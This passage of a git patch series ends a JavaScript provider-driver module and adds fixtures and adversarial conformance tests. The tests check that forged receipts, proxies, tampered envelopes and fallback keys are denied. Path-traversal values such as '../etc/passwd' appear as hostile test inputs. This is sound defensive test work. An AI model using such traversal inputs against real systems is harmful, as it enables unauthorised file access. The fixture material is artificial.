operation); + const includeCount = Array.isArray(request.include) ? request.include.length : 0; + if (lane.dispatch.session_ref === null) { + // An intent-only lane carries no session handle: nothing can be + // observed or correlated, so honesty stays at uncertainty and no + // doomed transport call is made. The child is never replayed to + // recover a handle. + lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); + return includeCount + ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) + : uncertain; + } + + // Exact identity must hold on every observation too: credential or config + // DRIFT fails the observation closed with a typed error below, while a + // lost identity/evidence probe degrades honestly to uncertainty. + let evidence; + try { + const identity = currentIdentity(model, operation); + assertIdentityUnchanged(identity, lane.identity, operation); + evidence = validateEvidenceReceiptV1(callTransport('poll', freezeData({ + correlation: correlationFor(lane), + session_ref: lane.dispatch.session_ref, + })), lane); + } catch (error) { + if (isTypedContractError(error)) throw error; + // Loss or exception during observation degrades honestly to uncertainty. + // It never invents a terminal state and never replays the child. + lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); + return includeCount + ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) + : uncertain; + } + + const updated = applyEventPage(lane, includeCount, operation); + lanes.set(laneKey(envelope), advance(updated, {}, timestamp)); + const progress = progressFragments(updated); + + if (evidence.state === 'absent') { + const code = request.intent === 'restart_reattach' + ? 'restart_evidence_absent' + : 'evidence_absent'; + const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); + return includeCount ? withDetail(uncertain, code, progress) : uncertain; + } + if (evidence.state === 'needs_attention') { + // Same-session reply is unsupported: surface the attention honestly and + // never answer it or start a replacement prompt or session. + const attention = baseResult(operation, request, envelope, 'unresolved_attention'); + return includeCount + ? withDetail(attention, 'unresolved_attention', [...progress, 'same_session_reply=unsupported']) + : attention; + } + if (capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, evidence.state)) { + const terminal = baseResult(operation, request, envelope, 'terminal'); + return includeCount + ? withDetail(terminal, 'terminal_evidence', [ + `state=${evidence.state}`, + ...(evidence.stop_reason ? [`stop_reason=${evidence.stop_reason}`] : []), + ...progress, + ]) + : terminal; + } + const running = baseResult(operation, request, envelope, 'in_progress'); + return includeCount ? withDetail(running, 'live_progress', progress) : running; + } + + // --- cancel --------------------------------------------------------------- + + function cancel(request) { + const operation = 'cancel'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const lane = requireKnownLane(envelope, model, request, operation); + const timestamp = nowMs(operation); + beginOperation(lane, operation, timestamp); + requireDispatch(lane, operation); + if (lane.dispatch.session_ref === null) { + fail('dsh_cancel_unresolved', `driver.${operation}.request`, + 'This DSH lane holds only an unconfirmed spawn intent and no session handle; ' + + 'cancellation stays unresolved instead of claiming a delivery it cannot target.'); + } + + // A cancellation is a control signal, not a prompt: a lost or failing + // cancellation request fails this operation closed with a typed error and + // leaves the lane state untouched, so a later cancel or reconcile remains + // possible without any replay of the child. Identity drift still denies + // the operation through its typed drift code below. + let receipt; + try { + const identity = currentIdentity(model, operation); + assertIdentityUnchanged(identity, lane.identity, operation); + receipt = validateCancelReceiptV1(callTransport('cancel', freezeData({ + correlation: correlationFor(lane), + session_ref: lane.dispatch.session_ref, + })), lane); + } catch (error) { + if (isTypedContractError(error)) throw error; + fail('dsh_cancel_unresolved', `driver.${operation}.request`, + 'The DSH cancellation request could not be resolved; the lane stays untouched ' + + 'and cancellation may be requested again without any replay.'); + } + lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + const disposition = receipt.outcome === 'confirmed' + ? 'cancel_confirmed' + : receipt.outcome === 'requested' ? 'cancel_requested' : 'already_terminal'; + return withDetail(baseResult(operation, request, envelope, disposition), + disposition, [`outcome=${receipt.outcome}`]); + } + + const operations = { cancel, launch, preflight, reconcile }; + const driver = bindProviderDriverV1(operations, declaration); + + return OBJECT_FREEZE({ + capability: declaration.capability, + declaration, + driver, + features: declaration.features, + models: DSH_ALLOWED_MODELS, + provider: DSH_PROVIDER, + schema: DSH_ACPX_DRIVER_SCHEMA_ID, + version: DSH_ACPX_DRIVER_VERSION, + workspace_mode: 'managed', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); +} + +// --------------------------------------------------------------------------- +// Description +// --------------------------------------------------------------------------- + +export function describeDshApxDriverV1() { + return capturedFreeze({ + bounds: capturedFreeze({ + event_page_records: DSH_MAX_EVENT_PAGE_RECORDS, + event_record_bytes: DSH_MAX_EVENT_RECORD_BYTES, + lanes: DSH_MAX_LANES, + lane_operations: DSH_MAX_LANE_OPERATIONS, + launch_attempts: DSH_MAX_LAUNCH_ATTEMPTS, + max_cursor: DSH_MAX_CURSOR, + max_time_ms: DSH_MAX_TIME_MS, + recorded_events: DSH_MAX_RECORDED_EVENTS, + session_ref_bytes: DSH_MAX_SESSION_REF_BYTES, + }), + cancel_outcomes: [...DSH_CANCEL_OUTCOMES], + claims: capturedFreeze({ + durable_run_store: false, + live_transport_qualification: false, + merge_or_pr_authority: false, + real_transport_configured: false, + replay_or_fallback: false, + same_session_reply: false, + supervisor_cutover: false, + }), + detail_codes: [...DSH_DETAIL_CODES], + event_kinds: [...DSH_EVENT_KINDS], + evidence_states: [...DSH_EVIDENCE_STATES], + operations: [...DRIVER_OPERATIONS], + provider: DSH_PROVIDER, + models: [...DSH_ALLOWED_MODELS], + schema: DSH_ACPX_DRIVER_SCHEMA_ID, + transport_keys: [...DSH_ACPX_TRANSPORT_KEYS], + transport_mode: 'injected_bounded_one_shot_port', + version: DSH_ACPX_DRIVER_VERSION, + }); +} + +capturedFreeze(assertDshAcpTransportV1); +capturedFreeze(createDshApxDriverV1); +capturedFreeze(describeDshApxDriverV1); +capturedFreeze(validateDshConfigIdentityV1); From 4884814f8ebdb73c0636d581cc89fb74f3cc495a Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sat, 22 Aug 2026 20:50:36 +0000 Subject: [PATCH 030/151] test(provider): add DSH ACPX driver conformance and hostile coverage r1-dsh-acpx-driver drives the real adapter over a deterministic fake one-shot port: hard provider/model binding for Muse Spark 1.2 Contributor and Ox Alpha, the full preflight/launch/reconcile/cancel lifecycle, honest post-spawn uncertainty with no replay after any launch observation, provably-pre-spawn not_sent with a one-attempt budget, identity and per-field correlation drift denials before spawn, bounded cursor-monotonic event pages that stop at the recorded-event cap, lane/operation/clock budgets, cancellation outcome mapping, restart_reattach recovery from recorded evidence only, the accepted P17 provider-neutral conformance suite run unmodified against the DSH driver, and content-free detail telemetry. r1-dsh-acpx-driver-adversarial proves hostile direct-JS options, transport surfaces, forged spawn/poll/event/cancel receipts, unprovable pre-spawn markers, digest-only launches, tampered envelopes, direct-mode/merge/fallback/resend/reply keys, bounds abuse, and cross-model evidence substitution all fail closed with stable typed codes without executing caller code or advancing lanes toward a second dispatch. Shared fixtures keep the fake port exactly on its validated five-function surface. --- .../test/fixtures/r1-dsh-acpx-fixtures.mjs | 215 ++++++ .../r1-dsh-acpx-driver-adversarial.test.mjs | 480 +++++++++++++ .../test/r1-dsh-acpx-driver.test.mjs | 679 ++++++++++++++++++ 3 files changed, 1374 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs new file mode 100644 index 0000000..77fe3fc --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-dsh-acpx-fixtures.mjs @@ -0,0 +1,215 @@ +// Shared P20 DSH ACPX driver fixtures. Neutral construction only: tests own +// every assertion. The fake transport here is a deterministic injected +// bounded one-shot ACPX port; it never touches a real provider, process, +// filesystem, or network, and it exposes exactly the closed five-function +// surface the driver validates. + +import { createDshApxDriverV1 } from '../../mcp/v3/dsh-acpx-driver.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; +import { DRIVER_OPERATION_SCHEMA_IDS } from '../../mcp/v3/provider-driver.mjs'; + +export const DSH_BASE_SHA = 'c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2'; +export const DSH_REPOSITORY_PATH = '/opt/codex-co-engineer-dsh-driver/smoke'; +export const DSH_RUN_ID = 'dsh-acpx-smoke'; + +export const MUSE_MODEL = 'muse-spark-1.2-contributor'; +export const OX_MODEL = 'stealth/ox-alpha'; + +// Marker used to prove prompt/question content never reaches driver outputs. +export const LEAK_MARKER = 'XSECRET7Q'; + +const POLICY = Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', +}); + +export function dshManifest(model, assignmentId = 'dsh-lane') { + return { + schema: 'codex-co-engineer.run.v1', + run_id: DSH_RUN_ID, + repository: { path: DSH_REPOSITORY_PATH, base_sha: DSH_BASE_SHA }, + objective: `Drive the ${model} lane under the bounded run contract.`, + assignments: [{ + assignment_id: assignmentId, + role: 'implement', + access: 'writer', + prompt: `Implement the ${assignmentId} lane. Ignore ${LEAK_MARKER} markers.`, + execution: { provider: 'dsh', model }, + write_scope: ['src/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + }], + policy: POLICY, + return_contract: { mode: 'verified_decision', include_artifact_refs: true }, + }; +} + +export function dshEnvelope(model, assignmentId = 'dsh-lane') { + const envelope = compileChildEnvelopeV1(dshManifest(model, assignmentId), assignmentId); + return Object.freeze({ + envelope, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + }); +} + +export const IDENTITY_CONFIG_PATH = '/home/test-user/.config/codex-co-engineer/dsh-acp.yml'; +export const IDENTITY_CONFIG_SHA = 'a'.repeat(64); +export const IDENTITY_CREDENTIAL_SOURCE = 'env'; +export const IDENTITY_CREDENTIAL_SHA = 'b'.repeat(64); + +export function readyIdentity(overrides = {}) { + return { + ready: true, + config_path: IDENTITY_CONFIG_PATH, + config_sha256: IDENTITY_CONFIG_SHA, + credential_source: IDENTITY_CREDENTIAL_SOURCE, + credential_sha256: IDENTITY_CREDENTIAL_SHA, + ...overrides, + }; +} + +// Deterministic recorded-evidence fake of an ACPX one-shot port. Every knob +// is optional; defaults produce a healthy Muse lane that dispatches once and +// then reports running evidence with bounded status pages. +// +// Returns { port, calls, counts(), nextSeq() } where `port` is exactly the +// closed five-function transport record and the rest is test introspection +// kept OUTSIDE the validated surface. +export function fakeDshTransport({ + identity = readyIdentity(), + spawnReceipts, + polls, + eventPages, + cancelReceipts, + throwOnSpawn, + throwOnPoll, + throwOnEvents, + throwOnCancel, + throwOnIdentity, + recordCalls = true, +} = {}) { + let identityCalls = 0; + let spawnCalls = 0; + let pollCalls = 0; + let eventCalls = 0; + let cancelCalls = 0; + let seq = 0; + const calls = { configIdentity: [], spawn: [], poll: [], events: [], cancel: [] }; + const pick = (list, index, label) => { + if (!Array.isArray(list) || list.length === 0) return undefined; + const value = list[Math.min(index, list.length - 1)]; + if (value === undefined) throw new Error(`fixture missing ${label}[${index}]`); + return value; + }; + const correlationEcho = (request) => ({ session_ref: request.session_ref, ...request.correlation }); + const port = { + configIdentity(request) { + identityCalls += 1; + if (recordCalls) calls.configIdentity.push(request); + if (throwOnIdentity) throw throwOnIdentity(identityCalls); + if (typeof identity === 'function') return identity(identityCalls, request); + const entry = Array.isArray(identity) + ? pick(identity, identityCalls - 1, 'identity') + : identity; + return entry === undefined ? undefined : { ...entry }; + }, + spawn(request) { + spawnCalls += 1; + if (recordCalls) calls.spawn.push(request); + if (throwOnSpawn) throw throwOnSpawn(spawnCalls); + const raw = spawnReceipts ? pick(spawnReceipts, spawnCalls - 1, 'spawn receipt') : undefined; + return typeof raw === 'function' + ? raw(request, spawnCalls) + : raw ?? { session_ref: `sess-dsh-${String(spawnCalls).padStart(4, '0')}` }; + }, + poll(request) { + pollCalls += 1; + if (recordCalls) calls.poll.push(request); + if (throwOnPoll) throw throwOnPoll(pollCalls); + const defaults = { + state: 'running', event_count: 4, cursor: seq, + updated_at_ms: 1_000 + pollCalls, + }; + const raw = polls ? pick(polls, pollCalls - 1, 'poll receipt') : undefined; + // Function receipts take full control (adversarial shapes stay exact); + // object receipts merge over correlation and recorded-evidence defaults. + return typeof raw === 'function' + ? raw(request, pollCalls) + : { ...correlationEcho(request), ...defaults, ...raw }; + }, + events(request) { + eventCalls += 1; + if (recordCalls) calls.events.push(request); + if (throwOnEvents) throw throwOnEvents(eventCalls); + const rawPage = eventPages ? pick(eventPages, eventCalls - 1, 'event page') : undefined; + const page = typeof rawPage === 'function' + ? rawPage(request, eventCalls) + : rawPage ?? { + records: Array.from({ length: request.max_records }, () => ({ + seq: (seq += 1), kind: 'status', bytes: 16, + })), + next_cursor: seq, + truncated: false, + }; + return page; + }, + cancel(request) { + cancelCalls += 1; + if (recordCalls) calls.cancel.push(request); + if (throwOnCancel) throw throwOnCancel(cancelCalls); + const raw = cancelReceipts ? pick(cancelReceipts, cancelCalls - 1, 'cancel receipt') : undefined; + return typeof raw === 'function' + ? raw(request, cancelCalls) + : { ...correlationEcho(request), outcome: 'confirmed', ...raw }; + }, + }; + return { + port, + calls, + counts: () => ({ + configIdentity: identityCalls, spawn: spawnCalls, + poll: pollCalls, events: eventCalls, cancel: cancelCalls, + }), + nextSeq: () => (seq += 1), + }; +} + +export function createFixtureDriver(model, transportBundleOrPort, options = {}) { + const transport = transportBundleOrPort?.port ?? transportBundleOrPort; + return createDshApxDriverV1({ transport, workspace_mode: 'managed', ...options }); +} + +// Drive preflight -> launch so tests start from an honestly-uncertain lane. +export function dispatchLane(driver, fixture, requestExtras = {}) { + const requestFor = (operation, extras = {}) => ({ + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: 1, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...extras, + }); + const preflight = driver.preflight({ ...requestFor('preflight'), ...requestExtras.preflight }); + const launch = driver.launch({ ...requestFor('launch'), ...requestExtras.launch }); + return { + preflight, + launch, + requestFor, + reconcile: (extras = {}) => driver.reconcile(requestFor('reconcile', extras)), + cancel: (extras = {}) => driver.cancel(requestFor('cancel', extras)), + launchAgain: () => driver.launch(requestFor('launch')), + preflightAgain: () => driver.preflight(requestFor('preflight')), + }; +} diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs new file mode 100644 index 0000000..a90946a --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs @@ -0,0 +1,480 @@ +// Adversarial tests for the P20 DSH ACPX provider driver: hostile direct-JS +// options/transport surfaces, forged and malformed recorded-evidence +// receipts, replay/resend/fallback/substitution hostilities, pre-spawn +// marker forgery, bounds abuse, and content-leak attempts. Every case must +// fail closed with a stable typed code, must never execute caller code from +// hostile descriptors, and must never advance a lane toward a second dispatch. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { createDshApxDriverV1 } from '../mcp/v3/dsh-acpx-driver.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + dshManifest, + LEAK_MARKER, + MUSE_MODEL, + OX_MODEL, + createFixtureDriver, + dispatchLane, + dshEnvelope, + fakeDshTransport, + readyIdentity, +} from './fixtures/r1-dsh-acpx-fixtures.mjs'; + +function expectCode(fn, code, message) { + // A wildcard (undefined) code accepts any typed contract denial. + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +function requestFor(fixture, operation, overrides = {}, mutate) { + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...overrides, + }; + if (mutate) mutate(request); + return request; +} + +test('factory options reject proxies, accessors, symbols, and forbidden authorities without running traps', () => { + const base = () => fakeDshTransport(); + let getterRuns = 0; + const accessorOptions = () => { + const options = { transport: base().port, workspace_mode: 'managed' }; + Object.defineProperty(options, 'workspace_mode', { + enumerable: true, + get() { + getterRuns += 1; + return 'managed'; + }, + }); + return options; + }; + expectCode(() => createDshApxDriverV1(accessorOptions()), 'invalid_object', + 'accessor options are not enumerable data properties'); + assert.equal(getterRuns, 0, 'option getters must never run during validation'); + + expectCode(() => createDshApxDriverV1(new Proxy({ transport: base().port, workspace_mode: 'managed' }, {})), + 'proxy_denied'); + const revocable = Proxy.revocable({ transport: base().port, workspace_mode: 'managed' }, {}); + revocable.revoke(); + expectCode(() => createDshApxDriverV1(revocable.proxy), 'proxy_denied'); + + const symbolOptions = { transport: base().port, workspace_mode: 'managed' }; + symbolOptions[Symbol('hidden')] = 'x'; + expectCode(() => createDshApxDriverV1(symbolOptions), 'invalid_object', + 'symbol keys are not string data keys'); + + const hiddenOptions = { transport: base().port, workspace_mode: 'managed' }; + Object.defineProperty(hiddenOptions, 'transport', { enumerable: false, value: base().port }); + expectCode(() => createDshApxDriverV1(hiddenOptions), 'invalid_object'); + + for (const [label, options] of Object.entries({ + 'missing workspace_mode': { transport: base().port }, + 'direct mode': { transport: base().port, workspace_mode: 'direct' }, + 'invented mode': { transport: base().port, workspace_mode: 'provider_managed' }, + 'merge authority': { transport: base().port, workspace_mode: 'managed', allow_merge: true }, + 'create pr': { transport: base().port, workspace_mode: 'managed', create_pr: true }, + 'fallback provider': { transport: base().port, workspace_mode: 'managed', fallback_provider: 'grok' }, + 'retry budget': { transport: base().port, workspace_mode: 'managed', retry_dispatch: 3 }, + 'missing transport': { workspace_mode: 'managed' }, + 'null transport': { transport: null, workspace_mode: 'managed' }, + 'clock proxy': { transport: base().port, workspace_mode: 'managed', now: new Proxy(() => 0, {}) }, + 'clock object': { transport: base().port, workspace_mode: 'managed', now: {} }, + })) { + expectCode(() => createDshApxDriverV1(options), undefined, `${label} must be denied`); + } +}); + +test('direct-mode and merge-authority keys on driver requests keep their shared denial codes', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const [key, value, code] of [ + ['workspace_mode', 'direct', 'direct_mode_rejected'], + ['direct_mode', true, 'direct_mode_rejected'], + ['allow_merge', true, 'merge_authority_denied'], + ['create_pr', true, 'merge_authority_denied'], + ['fallback', true, 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['allow_post_dispatch_fallback', true, 'replay_or_fallback_denied'], + ['relaunch_attempts', 2, 'unknown_key'], + ['reply', { session_id: 's', response: 'hi' }, 'unknown_key'], + ['new_session', true, 'unknown_key'], + ]) { + expectCode( + () => validateDriverLaunchRequestV1(requestFor(fixture, 'launch', { [key]: value })), + code, `${key} must be denied with ${code}`); + } +}); + +test('digest-only launches and tampered envelopes stay denied through the accepted contract', () => { + const fixture = dshEnvelope(MUSE_MODEL); + expectCode(() => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'digest_only_launch_denied'); + + const flipped = `${fixture.child_envelope_digest.slice(0, 63)}${fixture.child_envelope_digest.endsWith('0') ? '1' : '0'}`; + expectCode(() => validateDriverLaunchRequestV1(requestFor(fixture, 'launch', { + child_envelope_digest: flipped, + })), 'child_envelope_digest_mismatch'); + + const tampered = `${fixture.envelope_text.slice(0, -1)}x`; + // The strict parser denies the damaged bytes with its own typed code. + expectCode(() => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: tampered, + child_envelope_digest: fixture.child_envelope_digest, + }), undefined, 'tampered envelope bytes must be denied'); +}); + +test('forged spawn receipts degrade to honest uncertainty instead of a resend', () => { + for (const [label, receipt] of Object.entries({ + 'bad grammar': { session_ref: '../escape' }, + 'empty ref': { session_ref: '' }, + 'oversized ref': { session_ref: `s${'x'.repeat(200)}` }, + 'wrong type': { session_ref: 42 }, + 'extra key': { session_ref: 'sess-ok-0001', pid: 7 }, + 'accessor': (() => { + const receipt = {}; + Object.defineProperty(receipt, 'session_ref', { + enumerable: true, get() { return 'sess-ok-0001'; }, + }); + return receipt; + })(), + })) { + const transport = fakeDshTransport({ spawnReceipts: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + assert.equal(lane.launch.disposition, 'dispatch_uncertain', + `forged spawn receipt (${label}) must stay uncertain`); + expectCode(() => lane.launchAgain(), 'replay_denied', label); + assert.equal(transport.counts().spawn, 1, `no resend after forged receipt (${label})`); + } +}); + +test('pre-spawn markers cannot be forged through getters or exotic prototypes', () => { + const getterMarked = {}; + Object.defineProperty(getterMarked, 'phase', { + enumerable: true, get() { return 'prespawn'; }, + }); + Object.defineProperty(getterMarked, 'code', { enumerable: true, value: 'port_denied' }); + + const subclassed = Object.assign(new (class PortError extends Error {})('nope'), { + phase: 'prespawn', code: 'port_denied', + }); + + const phaseOnly = Object.assign(new Error('half marked'), { phase: 'prespawn' }); + const codeGetter = Object.assign(new Error('getter code'), { phase: 'prespawn' }); + Object.defineProperty(codeGetter, 'code', { enumerable: true, get() { return 'port_denied'; } }); + + for (const [label, error] of Object.entries({ + getterPhase: getterMarked, + subclassedPrototype: subclassed, + phaseOnly, + getterCode: codeGetter, + stringThrown: 'prespawn', + plainMarker: { phase: 'prespawn', code: 'PORT-DENIED' }, + })) { + const transport = fakeDshTransport({ throwOnSpawn: () => error }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + assert.equal(lane.launch.disposition, 'dispatch_uncertain', + `unprovable pre-spawn marker (${label}) must stay uncertain`); + assert.notEqual(lane.launch.detail_code, 'transport_prespawn_denied', label); + } +}); + +test('total post-dispatch transport failure never unlocks a replay or a substitution', () => { + const fixture = dshEnvelope(OX_MODEL); + const transport = fakeDshTransport({ + throwOnPoll: () => new Error('evidence vanished'), + throwOnEvents: () => new Error('evidence vanished'), + throwOnCancel: () => new Error('control channel gone'), + }); + const driver = createFixtureDriver(OX_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + + // Observation loss is honest uncertainty, never a terminal invention. + assert.equal(lane.reconcile({ intent: 'restart_reattach' }).disposition, 'dispatch_uncertain'); + assert.equal(lane.reconcile({ include: ['live_progress'] }).detail_code, 'evidence_absent'); + + // Cancellation stays typed-unresolved and may be retried as control plane. + expectCode(() => lane.cancel(), 'dsh_cancel_unresolved'); + expectCode(() => lane.cancel(), 'dsh_cancel_unresolved'); + + // And the lane still refuses any relaunch or provider/model substitution. + expectCode(() => lane.launchAgain(), 'replay_denied'); + + const museManifest = JSON.parse(JSON.stringify(dshManifest(MUSE_MODEL))); + museManifest.assignments[0].assignment_id = fixture.assignment_id; + const museEnvelope = compileChildEnvelopeV1(museManifest, fixture.assignment_id); + expectCode(() => driver.driver.preflight(requestFor(museEnvelope && { + ...fixture, + envelope_text: museEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(museEnvelope).digest, + }, 'preflight')), 'stale_identity_denied', + 'the same lane cannot be re-preflighted onto another model after dispatch'); +}); + +test('malformed poll receipts fail closed with typed codes and never advance the lane', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const goodReceipt = (request) => ({ + session_ref: request.session_ref, ...request.correlation, + state: 'running', event_count: 1, cursor: 1, updated_at_ms: 10, + }); + const cases = { + 'unknown state': (request) => ({ ...goodReceipt(request), state: 'zombie' }), + 'stop reason on running': (request) => ({ ...goodReceipt(request), stop_reason: 'end_turn' }), + 'question on running': (request) => ({ ...goodReceipt(request), question_ref: 'q-1' }), + 'bad question grammar': (request) => ({ + ...goodReceipt(request), state: 'needs_attention', question_ref: '../etc/passwd', + }), + 'event count float': (request) => ({ ...goodReceipt(request), event_count: 1.5 }), + 'cursor over bound': (request) => ({ ...goodReceipt(request), cursor: 1_000_000_001 }), + 'updated at over bound': (request) => ({ ...goodReceipt(request), updated_at_ms: 5e12 }), + 'uppercase digest': (request) => ({ + ...goodReceipt(request), + child_envelope_digest: request.correlation.child_envelope_digest.toUpperCase(), + }), + 'missing state': (request) => { + const receipt = goodReceipt(request); + delete receipt.state; + return receipt; + }, + 'extra key': (request) => ({ ...goodReceipt(request), raw: 'provider output text' }), + 'own undefined': (request) => { + const receipt = goodReceipt(request); + receipt.question_ref = undefined; + return receipt; + }, + 'null receipt': () => null, + 'array receipt': () => [], + 'leak attempt': (request) => ({ + ...goodReceipt(request), state: 'needs_attention', + question_ref: `q-${LEAK_MARKER}`, + leak_attempt: `${LEAK_MARKER} provider-authored text`, + }), + }; + for (const [label, receipt] of Object.entries(cases)) { + const transport = fakeDshTransport({ polls: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile(), undefined, `poll receipt (${label}) must be denied`); + const counts = transport.counts(); + assert.equal(counts.spawn, 1); + // The lane was untouched by the denied observation; a healthy port still reconciles. + } + const healed = fakeDshTransport({ polls: [goodReceipt] }); + const healedDriver = createFixtureDriver(MUSE_MODEL, healed); + const healedLane = dispatchLane(healedDriver.driver, fixture); + assert.equal(healedLane.reconcile().disposition, 'in_progress'); +}); + +test('hostile event pages are rejected wholesale and leak nothing', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const pageWith = (records, nextCursorDelta = 0) => [(request) => ({ + records, + next_cursor: request.cursor + nextCursorDelta + records.length, + truncated: false, + })]; + const cases = { + 'sparse records': [(request) => { + const records = [{ seq: request.cursor + 1, kind: 'status', bytes: 1 }]; + records[5] = { seq: request.cursor + 9, kind: 'status', bytes: 1 }; + return { records, next_cursor: request.cursor + 10, truncated: false }; + }], + 'record extra key': pageWith([{ seq: 1, kind: 'status', bytes: 1, text: LEAK_MARKER }]), + 'record unknown kind': pageWith([{ seq: 1, kind: 'raw_output', bytes: 1 }]), + 'record negative bytes': pageWith([{ seq: 1, kind: 'status', bytes: -1 }]), + 'record bytes over bound': pageWith([{ seq: 1, kind: 'status', bytes: 4097 }]), + 'record non-increasing seq': pageWith([ + { seq: 1, kind: 'status', bytes: 1 }, { seq: 1, kind: 'status', bytes: 1 }, + ]), + 'record accessor': pageWith([(() => { + const record = {}; + Object.defineProperty(record, 'seq', { enumerable: true, get() { return 1; } }); + record.kind = 'status'; + record.bytes = 1; + return record; + })()]), + 'truncated non-boolean': [(request) => ({ + records: [], next_cursor: request.cursor, truncated: 'yes', + })], + 'next cursor backwards': [(request) => ({ + records: [], next_cursor: -1, truncated: false, + })], + 'aliased records': [(request) => { + const shared = { seq: request.cursor + 1, kind: 'status', bytes: 1 }; + return { records: [shared, shared], next_cursor: request.cursor + 2, truncated: false }; + }], + }; + for (const [label, eventPages] of Object.entries(cases)) { + const transport = fakeDshTransport({ polls: [{ state: 'running' }], eventPages }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile({ include: ['detailed_events'] }), undefined, label); + const serialized = JSON.stringify([...transport.calls.poll]); + assert.ok(!serialized.includes(LEAK_MARKER), label); + } +}); + +test('identity receipts cannot smuggle unavailable reasons past validation', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const preflightRequest = requestFor(fixture, 'preflight'); + const cases = { + 'bogus reason': { ready: false, reason: 'operator_felt_tired' }, + 'reason on ready': readyIdentity({ reason: 'config_unavailable' }), + 'relative config path': readyIdentity({ config_path: 'relative/dsh-acp.yml' }), + 'windows path': readyIdentity({ config_path: '\\\\server\\share\\dsh-acp.yml' }), + 'short digest': readyIdentity({ config_sha256: 'abc' }), + 'credential source env file hybrid': readyIdentity({ credential_source: 'both' }), + 'ready not boolean': { ...readyIdentity({}), ready: 'true' }, + 'proxy receipt': new Proxy(readyIdentity(), {}), + }; + for (const [label, identity] of Object.entries(cases)) { + const driver = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ identity: () => identity })); + expectCode(() => driver.driver.preflight(preflightRequest), undefined, `identity (${label})`); + } +}); + +test('cancel receipts are held to the same closed shape', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const [label, cancelReceipts] of Object.entries({ + 'unknown outcome': [{ outcome: 'maybe' }], + 'missing outcome': [(request) => ({ + session_ref: request.session_ref, ...request.correlation, + })], + 'outcome wrong type': [{ outcome: 1 }], + 'foreign session': [{ + outcome: 'confirmed', session_ref: 'sess-other-0001', + }], + 'accessor outcome': [(() => { + const build = (request) => { + const built = { session_ref: request.session_ref, 